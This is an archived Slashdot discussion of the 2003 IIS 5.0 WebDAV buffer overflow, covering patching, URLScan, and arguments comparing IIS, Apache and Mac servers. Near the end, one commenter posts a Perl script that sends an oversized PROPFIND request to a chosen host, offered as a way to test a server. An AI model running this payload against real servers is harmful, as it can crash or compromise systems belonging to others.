Slashdot Mirror
WebDAV Buffer Overflow Attack Compromises IIS 5.0
rf0 writes "Well CERT is reporting a new overflow attack for IIS 5.0. Microsoft has released a bulletin. Better download those patches and fix another security hole." According to this CNET story, Microsoft says that this is already being exploited, at the very least since last Wednesday.
(looks at watch) its monday again... time to go patch my IIS
Well duh, "patch my IIS", it's monday isn't it?
Wax-Museum Fire Results In Hundreds Of New Danny DeVito Statues
WebDAV has been a headache for for a long time, until I decided to just disable it altogther. I realized I never had a purpose for it, personally, so I added the disabling registry key too all my servers. If you know any good that WebDAV does, I'd like to know about it.
Th
When they get a bug free Windows, they'll have to put some in just so bored /. readers have something to laugh at....
If you're happy and you know it read my blog
I don't know why anyone uses it anymore. I'm switching back to Morse Code. Who's with me?
A buffer overflow allowing an entire system takeover... Why is the code that the web server has access to change allowed to take over the system?
If you listened to the Gartner Group, you stopped using IIS last year.
If you didn't, well, get with the program!
Eventually MSFT will have to deliver your "mission critical" ASP runtime for Apache, and the world will be a better place because of it.
Napster-to-go says "Fill and refill your compatible MP3 player", which is a lie. It's not MP3. It's WMA with DRM.
All of these "patch" issues should be listed and sent to management with a recommediation of switching to a more secure *nix alterntive. When will the truth beat out the Microsoft ad machine?
Cue 2,000 microsoft bashing messages...
Slashdot is not the place you want to read about things like this, if you really need / want to be on the ball. You need to subscribe to bugtraq and nanog. You'd be surprised... it's like knowing the future!
Well, if they are going to have bugs, it is not that bad of a thing as long as they are patched promptly. Then again, many admins do have a tendancy to run unpatched machines.
It looks like this was the exploit used to hack into an Army machine recently. Check out the link from MSNBC here.
Comment removed based on user account deletion
I was ready to uninstall IIS when it occured to me that Exchange 2K needs it. I was ready to uninstall Exchange 2K when I realized users would not be able to function. Whew, luckily I came to my senses...
So is this any kind of standard WebDAV or just a particular proprietary implementation of similar features in IIS?
I've always been curious about this technology. At one point I even heard talk of a "WebDAV filesystem", but haven't heard of it taking off in any big way yet.
"Provided by the management for your protection."
It seems quite likely to me that that was an under-reported version of this incident reported on MSNBC, that permitted an intruder with apparent quite-hostile intent onto US Army sites.
Now, I'm no anti-any OS, I like them all, but what about the latest Sendmail vuln? Or even the one in older versions of BIND? Isn't it true to say that ALL OSes are equally as vulnerable? During the brief time I was on the Redhat Network, I got at least two or three updates a day telling me the sky was about to fall in if I didn't patch my server soon.
I treat all servers fairly, regardless of background, age or reliability :-)
Between getting rooted and being automatically subject to license agreements, I'd rather get rooted.
What's this Submit thingy do?
If CERT would just move their headquarters to the IIS devs room in redmond, that would probably save a lot of money for CERT. They should be a part of the regular IIS dev team.
It says near the bottom that IIS systems with URL scan which is part of the lockdown utility are not affected by this.
/.'s don't like microsoft and thats sad because microsoft is the driving company behind many many jobs. The arrival of windows pushed the last boom. No questions about that. Unix had been around for 20 yrs and no boom. Windows and the net and look at how things accelerated..why..because ma/pa people use windows..not *nix. Just the facts.
Why would you run a IIS server without using the lockdown utility??
We (large corporation) have been using IIS servers and without a problem. With Lockdown/urlscan there are no problems at all. The logs show people trying to get in but being rejected.
I think this story is a bit overblown. It appears that most
cheers
John
I've asked this everywhere, maybe someone will answer.
... We don't run the default config. We've customized it, as have many shops. I can't find information on _which_ aspects of URLScan provide the protection - I'd like to know if our customizations have left us out in the breeze.
The MS advisory states that a 'default' URLScan will protect against this. Well
Anyone know?
And I thought that Penguin on the Microsoft home page looked at little out of place.
/^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$/i
The exploit has been in the wild since last Wednesday. Microsoft has known about it since that time. Five days to a patch is really good for Microsoft but, the last Apache bug was fixed on the day of discovery, long before any exploits appeared.
At least the noticed that an exploit exists. Sure, it may take a little while to make a patch, but at least there will be a fix soon. Hopefully, this should increase the overall security of IIS, which would of course be a good thing.
Why, you may ask, would it be good for one of Apache's competitors to be less buggy (assuming you are arguing from a pro-open source standpoint)? This gives Apache competition. The more competition it has, the more incentive many of its developers will have to improve it. The quality of webservers will raise slightly.
The improvement of IIS is also a good thing for buisnesses that rely on it because of ASP. Perhaps they wish to move to Apache, but cannot because of their language of choice for development on their webserver. Should they be more vulnerable to hacker attacks, just because of their choice of language? No.
The conflict between Apache and IIS is generally a good thing.
XP Home: No because it doesn't include IIS. XP Pro: Probably not because IIS is not installed by default. Plus this only appears to affect IIS 5.0.
Perhaps, but IIS runs within kernel space, which is why a remote exploit is always a big deal. Apache may be a bit slower, but runs in user space and thus a remote exploit is less dangerous. So you're right, all OSes/apps aren't equally as vulnerable, but IIS is pretty fucking vulnerable.
The best way to evaluate this bug is to consider an equivalent attack against competitors. In this case, the main competitor is Apache.
Cracking Apache in this way would not give you root. While you might be able to get root by using some other local exploit, it's not the slam-dunk that it is on Windows.
Furthermore, careful admins can run Apache in a sandbox called a "chroot". Properly set up, this means that the attacker can't get to the rest of the system; all they can play with is the Web site.
So, in summary:
Its all Microsoft's fault. Its crap software.
That's a pretty good assessment. The bug itself is a mistake lots of other people have made, but the severity of the mistake isn't.
All seven of them? All long fixed? Page not updated since January 23, 2003? I'd LOVE to send them that. Comparing that to the long and varied string of IIS compromises/failures/destruction would be enough to get even the pointiest headed boss to make the switch. Good idea. Thanks!
I just ran into a problem today on one of our development web servers, trying to get an ASP to run a windows shell script with particular permissions. Anyway, executing arbitrary code in the Local System Context -- this is just the feature that I've been looking for!
"Luck is the residue of design" -- Branch Rickey
Your first three paragraphs were quite good and interesting.
Your fourth is full of idiocy.
I think this story is a bit overblown. Umm, not at all. It is quite a serious incident.
It appears that most /.'s don't like microsoft
Tell me, is this the first time you noticed that? Not much analytical thought going on upstairs, is there?and thats sad because microsoft is the driving company behind many many jobs They suck a very disproportionate chunk of money out of the market, they are in a position where innovation is much too risky, they are in such a controlling position that they are even greatly profitable against the trend of the rest of the market. The IBM PC pushed the boom. DOS and Windows have ridden the wave and placed Microsoft in the position of punishing any software company and they keep expanding -- that becomes too successful in the name of feeding their monstrous appetite. DOS and Windows sucked for many years, but were small and people ignored the control that was being given such an unworthy producer.
They drive their own jobs with lots of marketing and billions to spend on research, which would be much better used in a large market of competing thriving software vendors, like we had before Microsoft used monopolistic business models to destroy them all. If you become successful, Microsoft is guaranteed to take it away from you. That is successful for Microsoft and creation of Microsoft jobs, but far from good for America or the world.
The arrival of windows pushed the last boom. No questions about that. Unix had been around for 20 yrs and no boom. Windows and the net and look at how things accelerated..why..because ma/pa people use windows..not *nix. Just the facts.
You mentioned facts? The boom came on the backs of now-defunct companies who pioneered their fields, such as word processing, networking, compilers, OO Languages, etc. none of which was pioneered by Microsoft. But Microsoft was good at using software ownership to take these things away from their innovators. And now you have come full circle to why many developers are congregated here and do not always hold Microsoft in high regard.
But you knew that, didn't you? Perhaps you are AC because your large company is Microsoft?
IIS runs in kernel space? What are you smoking? IIS runs in usermode, however, it runs as local system, which gives you admin rights. This is being changed in IIS6 though, which will allow you to run IIS as a lower-privledged user.
If you have to use IIS for some reason, put a Squid proxy running on your favorite OS in front of it. It will save you a lot of trouble.
The problem doesn't lie in my dislike of reading licenses, it lies in risking not having the option to read them in the first place.
I have nothing against software licenses...Sometimes their implementation is questionable, and more often than not taken for granted by the majority of users, but I see them as a valid way for the writer of the software to place restrictions on its use.
I can, and do, license my stuff under the GPL, LGPL, or BSD license, as the case warrents.
What's this Submit thingy do?
"Eventually MSFT will have to deliver your "mission critical" ASP runtime for Apache, and the world will be a better place because of it."
Why wait for Microsoft when ASP.Net is already being ported?
Incompetent sysadmins still are the weakest link.
:(
Take a look at the World Health Organization South-East Asia web site:
http://w3.whosea.org/index.htm
They're running IIS 4.0. FOUR.POINT.ZERO.
The deface has been there for almost a day with apparently no fix yet
You know, if people periodically checked Windows Update, this would not be that big of a deal; additionally, if you have SP3 installed you can tell it to automagically install any critical updates for you without prompting. Case solved.
And all the others that are not Microsoft products?
The sendmail security issue certainly did make the front page.
The fact is that the Samba problem is unlikely to be exploitable remotely because Samba is generally not exposed to the Internet. In the case of the MySQL issue, it requires a man-in-the-middle attack to pull off arbitrary code execution. Many protocols are vulnerable to this sort of attack - it is also a type of attack that is very hard to pull off.
Moderators => please mod parent down. The guy is a jackass.
The problem with this patch is that it wasn't found by a white hat and submitted. It was discovered by people getting hacked and calling MS asking WTF. In cases like that, 5 days isn't really that bad. In cases where an exploit, along with vulnerability code, and a description are fed to devs on a platter, open source or not, it makes the task 10x easier. When you have to figure out what is going on while under fire, and in a hurry, things get messy. That said, you can hack a lot of systems in 5 days with the right script.
-Charlie
It is a concrete fact that that no MacOS based webserver has ever been hacked into in the history of the internet.
The MacOS running WebStar and other webservers as has never been exploited or defaced, and are are unbreakable based on historical evidence.
Okay, this is ludicrous. I ran Webster and other macintosh web servers in the 94-96 time range for a significant test prep company in NYC. They are just as insecure as any other web servers. The insecurity comes from the CGIs, not the static content. But who cares...programmer level or system level insecurity has the same result.
The claim is false - i've done this myself to prove a point.
Why is is hack proof? These reasons :
1> No command shell. No shell means no way to hook or intercept the flow of control with many various shell oriented tricks found in Unix or NT. Apple uses an object model for process to process communication that is heavily typed and "pipe-less"
Sure, Pre-OSX Macs have no CLI really, but does it make a difference if you can disable, DoS or take control of the system, even? Sure, they are configuration mistakes. You can make those with Apache/*nix or IIS/win32 too. I've seen Timbuktu installed with no firewalling and simple plaintext password protection of the most trivial kind. I've seen CGIs that allow system control of various sorts, put in place by the same type of people who love the ease of use of macintoshes. Security?
2> No Root user. All Mac developers know their code is always running at root. Nothing is higher (except undocumented microkernel stuff where you pass Gary Davidians birthday into certain registers and make a special call). By always being root there is no false sense of security, and programming is done carefully.
Sure, all Macintosh programming is done carefully as a result.
By your estimation, access controls are a complete waste. I'm sorry, this doesn't hold much water. I could use the same argument to state that Wintel boxes are better web servers. We all know how that pans out.
If all Macintosh programming was so excellent, those Type 1 errors where you have no choice but to restart would be a thing of the past, right? I still see them. Though I have to admit the car crash sound is better than a blue screen.
3> Pascal strings. ANSI C Strings are the number one way people exploit Linux and Wintel boxes. The Mac avoids C strings historically in most of all of its OS. In fact even its ROMs originally used Pascal strings. As you know Pascal strings (length prefixed) are faster than C (because they have the length delimiter in the front and do not have to endlessly hunt for NULL), but the side effect is less buffer exploits. Individual 3rd party products may use C stings and bind to ANSI libraries, but many do not. In case you are not aware of what a "pascal string" is, it usually has no null byte terminator.
Pascal strings have a single length byte and can't handle anything longer than 255 characters. Many http requests are going to be longer than that. Obviously, Webster and other Mac web servers aren't using those for everything, though admittedly the system calls require them in many cases. Your argument about this preventing buffer overflows is not very convincing as a result.
#4 must be a new feature because you could do just about anything cgi-wise with a macintosh in my days of futzing with them. Swiss cheese.
#5 - Applescript. Many CGIs used to use those as a control interface and obviously resource protections don't apply. They probably still do...
#6 - I fail to see how the Mac's zoned memory structure is any more protective than the hardware segmented memory protection of Intel (see Type 1 errors above), stack return addresses be damned. I'd be interested in any proof of this.
That is why the US Army gave up on MS IIS and got a Mac for a web server.
Not at this bas
HBI's Law: Frequency of calling others Nazis is directly correlated with the likelihood of the accuser being Communist.
I am feeding trolls today.
Exploits would be related to the percentage of the web actually using the platform, the number of expansive web software systems available for the platform (if you run Apache, for example, all the same exploits would apply, etc.).
No command shell... My toaster has no command shell, either, and it has never been hacked, so it must be right. Of course, it might be a function of how many useful things you can do with it.
No Root user... What a novel concept. I get it, just throw away all the security model, and then the problems don't qualify as security problems anyway. Pesky security machanisms were just distracting us. Real climbers never use safety ropes, because they just get in the way and cause a false sense of security!
Pascal strings... I have certainly spent many years working with non-null-terminated strings that used a count. It is irrelevant to buffer overflows whether the size is by delimiter or by pre-count. It is a matter of whether the program (or automatic string class) checks to see if the static buffer has room for the new string based upon the sizes of the source strings. I have seen plenty of buffer overflows with counted strings for exactly the same reasons they occur in null-terminated strings.
Macs running Webstar have ability to only run CGI placed in correct directory location and correctly file "typed"...Macs never run code ever merely based on how a file is named. ".exe" suffixes mean nothing! That explains why Macs were not vulnerable to the Word Macro exploits and a variety of other exploits -- oops, they were. Then, perhaps it is just a matter of how popular a platform it is. Let's see, no interesting modern Web Server configurations run on it, so no one uses it, and no one exploits it. A little like my daughter's TI-83, no web exploits against that, either, but it does not support the types of web aplications I want or a reasonable number of users. But no one would bother to write an exploit for it!
Sure, another MS exploit. Seems to be one almost every week, and it sucks.
/. chose to post this article, but reject an article I submitted yesterday about a very serious security hole in Opera - Opera describe it as "extremely critical".
/. displaying an unfair bias?
What I do find interesting is that
I'm not griping about having my story rejected, I've had many rejected and a few accepted, and that's the way things are, no problem. What I am questioning is the editorial bias. Here we are at a website which probably has one of the highest concentration of Opera users of any website in the world, and they chose to not post a negative story about "the good guys" (which has exploits in the wild) but did choose to post a negative story about "the bad guys".
Just more of
Read reviews of shopping cart software
Any safe language prevents against buffer overflow attacks, printf-style bugs, heap corruption and double-free bugs. Java or O'Caml or SML would be good choices. SML also protects against integer overflows. SML and O'Caml, for their parts, are only about 20% slower than C and a whole lot more fun to program in.
o m7misc/net/mlftpd/) so I wouldn't need to worry about buffer overflows any more. It was really easy. It blows my mind that all of the security-obsessed unix people are still manually putting in their buffer length (etc.) checks in tortured legacy C code, when they could so easily have a set of daemons that are totally immune to that sort of attack.
I wrote an FTP server in SML (http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/t
Of course, any language that lets you write interesting programs (ie, "telnetd") will also let you write programs with security holes. (In a sense, telnetd is itself a security hole, provided you have the password!) But having the compiler automatically ensure that the largest class is impossible gives you a lot more time to work on other, more subtle security problems.
This post is a lot like the "BSD is dying" troll that's just not going away. Every once in a while some idiot posts it, and a few other idiots moderate it up. Anyway, on to debunking.
The MacOS running WebStar and other webservers as has never been exploited or defaced, and are are unbreakable based on historical evidence.
Really? Is that because it crashed every time someone tried to access it? Considering that MacOS does not even have preemptive multitasking or proper memory protection, it's not that hard to imagine. MacOS has a really nice GUI, but in terms of technology it is behind even Windows 95.
In fact in the entire SecurityFocus (BugTraq) database history there has never been a Mac exploited over the internet remotely.
Hmmm, there are no exploits for DOS either. Are we to conclude that DOS is the most secure OS ever?
No command shell...
BFD! If you gain control of a process (through buffer overflow, for example) and manage to execute your own code, you still have complete control of the system. Heck, the current bug in IIS has nothing to do with exploiting shell.
No Root user.
The troll is only getting better. Ladies and gentlemen, it has come to our attention that the competitors' cars have malfunctioning seatbelts and thus cause injuries to passengers in a collision. Our MacCar has no seatbelts, therefore it is not vulnerable to collisions.
You know, IIS also runs as root (or rather LocalSystem in NT terms). By always running as root there is no false sense of security and programming is done carefully. Doesn't seem to help though...
Pascal strings.... As you know Pascal strings (length prefixed) are faster than C...but the side effect is less buffer exploits
...and they are limited to 255 bytes in length. (For those who did not program in pascal, the first character in the char array represents the length of the string. Since unsigned char's maximum value is 255, that's the maximum length of the string). Anyway, a buffer overflow occurs when you try to write more data than you can fit in the buffer. The only way a compiler could prevent that is if it inserts length checks before every write, and either truncates the string or terminates the program. It's been a loooong time since I touched pascal, so I don't remember how it handles that, but in any case it's irrelevant: is WebStar written in Pascal? In fact, besides some legacy code in MacOS, is anything at all written in Pascal these days?
Macs running Webstar have ability to only run CGI placed in correct directory location and correctly file "typed" (not mere file name extension).
Unix running Apache have ability to only run CGI placed in correct directory location and correctly file "typed" (not mere file name extension). (You can't run some random data).
Macs never run code ever merely based on how a file is named. ".exe" suffixes mean nothing!
Unix never run code ever merely based on how a file is named. ".exe" suffixes mean nothing! (You need to set executable permission first).
but the best part is that mac web programs and server tools do not create files with resource forks usually. TOTAL security.
Yeah, and when I leave the house I put my keys under the rug usually. TOTAL security. I mean who would possibly figure out how to create "resource forks" and such?
Stack return address positioned in safer location than some intel Osses.
That is the property of the hardware, not OS. Do you undestand the distinction?
7> There are less macs, though there are huge cash prizes for cracking into a MacOS based WebStar server (typically over $10,000 US). Less macs means less hacker interest
What happened to 5> and 6>? Were those argument too stupid even by your standards?
Anyway, in this paragraph you are contridicting yourself: on the one hand you are claiming that macs are safer because there is less
___
If you think big enough, you'll never have to do it.
No, it is clear that *you* don't understand security. Specifically:
Please, get a clue.
/mike
-- "So, what's the deal with Auntie Gerschwitz et all?"
While this makes the front page so we can all have our obligatory cracks at Microsoft, a similar (and just as important!) remote root exploit in Samba was just fixed today.
NO CARRIER
Neither have you.
I have. It's a fucking long and headache-inducing read, so I'm quite certain I'm one of very, very few people to do so.
The short of it? Yes, people have every right to despise Microsoft; they are absolute scum. Their behaviour during the trial was nothing less than disgusting. Somebody pulled a lot of strings to get them off the hook, rather than being flat-out dissolved and having their assets siezed.
Case in point: When's the last time you saw someone not get the judicial version of a savage beating after submitting false evidence, even in a civil suit? Aside from Microsoft.
You may be correct in your position regarding this software firm, but it's only because you made a good guess.
* WebDAV is *nothing* like a VPN.
A VPN has end to end encryption that is what makes it secure. Does WebDAV have end to end encryption?
* "using any number of authentication schemes" does not "lock down" anything at all.
If your security depends on authentication schemes you are hosed. You have to have authentication but you also have to have a whole slew of other measures. Which WebDAV does not.
* It doesn't matter if you are running it over HTTP or HTTPS. Both are the wrong protocol to use for filesharing. Just like using SOAP over HTTP(S).
This is because if you are using 80 or 443 then there is no way to control or shut down the file sharing without also shutting down web access. This is a *bad* thing. Also it makes firewall logs useless.
* Web applications are irrevalent to network security.
Your network has to be secure and have a good security policy and then web apps should be made to work within that framework rather than skirt it.
I want to kill whoever redefined "firewall friendly" to mean "tunnels through 80"
Cypherpunks: Civil Liberty Through Complex Mathematics. Those who live by the sword die by the arrow.
Sure, I can't wait to hear it...
- WebDAV is *nothing* like a VPN.
A VPN provides secure access to a remote network via one or more untrusted networks, typically the Internet. Once a VPN is established, the local endpoint has access to the remote networks's resources including, but not limited to, file, mail, directory, print and web servers. Existing protocols such as IMAP, POP, HTTP, LDAP, NFS and SMB can be used over the VPN in a mostly secure and transaprent manner.
WebDAV is an extension to HTTP - The Hypertext Transport Protocol. HTTP is deisgned to transport hypertext (hence it's name) and other media over via TCP. WebDAV provides distributed authoring and publishing extensions to HTTP to allow, amongst other things, remote collaboration. Using WebDAV for a network file system is akin to using FTP for the same. It is a bad idea.
=> WebDAV is nothing like a VPN.
- "using any number of authentication schemes" does not "lock down" anything at all.
- It doesn't matter if you are running it over HTTP or HTTPS. Both are the wrong protocol to use for filesharing. Just like using SOAP over HTTP(S).
Doing everything via HTTP, whether running plain text over port 80, encrypted over port 443 or any other combination is bad practice. One of SOAP's (and WebDAV's) "features" is that it allows you to do stuff over HTTP that would usually otherwise be blocked by a firewall. Want to do RPC? Sure! Just tunnel it through port 80! Want to do file sharing? Sure! Just tunnel it through port 80! This is seriously screwed up. It defeats a primary purpose for which firewalls were invented in the first place; to limit access to dangerous services. Not to mention that using HTTP for everything is a serious architectural design flaw as well.
Putting authentication in front of HTTP and/or tunneling it over SSL does not fix these problems. This IIS exploit du-jour is a perfect example of such.
- Web applications are irrevalent to network security.
A web application should be well designed and implemented, with security in mind. It should be deployed on a network which is properly secured. It should be running on systems which are properly securied. Making a web application secure does not make a network secure (and vice versa). "Irrelevant" is probably a too strong a word, but the security of a network should never be dependent on the security of a web application.
/mike
-- "So, what's the deal with Auntie Gerschwitz et all?"
In your enthusiasm to slam Microsoft, I get a Really Good Feel for when a patch is critical or not. It lets me ignore the servers until a front page Slashdot article shows up.
So, Danke!
"Draco dormiens nunquam titillandus."
Most discovery to patch timelines go like this:
[researcher finds vulnerability]->[notifys vendor]->[waits impatiently for a month or so]->[vendor releases patch in hotfix or service pack]
This case was completly different and demonstrates a disturbing trend in security research. NO ONE knew about this until it was discovered in the wild. Usually the script kiddies find out about the flaw the same day customers do and then it's an arms race to patch. This time the kids were armed with the exploit before even Microsoft knew about it. The trend of exploits staying secret has started to rear it's ugly head and this is the first major case where it's happened. Don't be suprised if this starts happening more and more. The good news is that MS was able to cough up a patch in a matter of days. The bad is that black hats are obviously keeping secrets about flaws they find.
Gone are the days where each vulnerability found was shouted from the rooftops till someone noticed the researcher. Now they just root servers with unfettered access until someone figures out that it's a new vulnerability. EG they bypass all IDS and in this case most firewalls.
For the record, it seems like this is a simple buffer overflow (when will they learn?) so tools like URLScan and SecureIIS stop these attacks. If your running an IIS server it would be a REALLY good idea to invest into either of these. Since they both stop all forms of buffer overflows (and various other types of attack) they don't require a patch to fend off these types of attacks.
Agreed, yada yada yada.
Granted, I've more experience with Apache than IIS, so if my post was in error its certainly understandable. That was my understanding from previous IIS vs. Apache tests, was that part of IIS ran in kernel mode to serve pages faster, and that was one reason many remote exploits were so serious.
Regardless, we have 2 IIS servers here at work, that are accessible to the Internet, and that has never been a problem. We keep them up to date, run the lockdown tool, so on. It really isn't too difficult to keep secure. Same goes for Apache.
Just change the user the service runs under.
Test your server...
/>'."<u:$over />".'</a:prop></a:propfind>'."\n\n"; />'."<u:$over />".'</a:prop></a:propfind>'."\n\n";
#!/usr/bin/perl
# Written by Georgi Guninski
use IO::Socket;
print "IIS 5.0 propfind\n";
$port = @ARGV[1];
$host = @ARGV[0];
sub vv()
{
$ll=$_[0]; #length of buffer
$ch=$_[1];
$over=$ch x $ll; #string to overflow
$socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || return;
#$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."$over".':"><a:prop ><a:displayname
# ^^^^ This is another issue and also works with length ~>65000
$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."over".':"><a:prop><a:displayname
$l=length($xml);
$req="PROPFIND / HTTP/1.1\nContent-type: text/xml\nHost: $host\nContent-length: $l\n\n$xml\n\n";
syswrite($socket,$req,length($req));
print ".";
$socket->read($res,300);
#print "r=".$res;
close $socket;
}
do vv(128008,"V"); # may need to change the length
sleep(1);
do vv(128008,"V");
print "Done.\n";
... and then there were none
Sitting on security vulnerabilities until several fixes are available and releasing them as one advisory is a good trick to try to reduce the overal number of advisories, without actually having to improve the quality or security of the product.
For a while patches were announced on Thursdays and for a while before that it was Fridays. Fridays must have run too much overtime and shown up on the boardroom radar. Thursday in Seattle is already Friday in Europe so maybe this is a play to get MSTD-induced overtime back off the radar of European managers. With a legal cap of around 37.5 hours per week per tech, business can't afford too many IIS servers.
It is strange that any would try to. Microsoft-IIS is not a viable alternative to Zeus or Apache.
Beta is broken and the link to classic doesn't work. Stop wasting our time or there won't be anybody left here.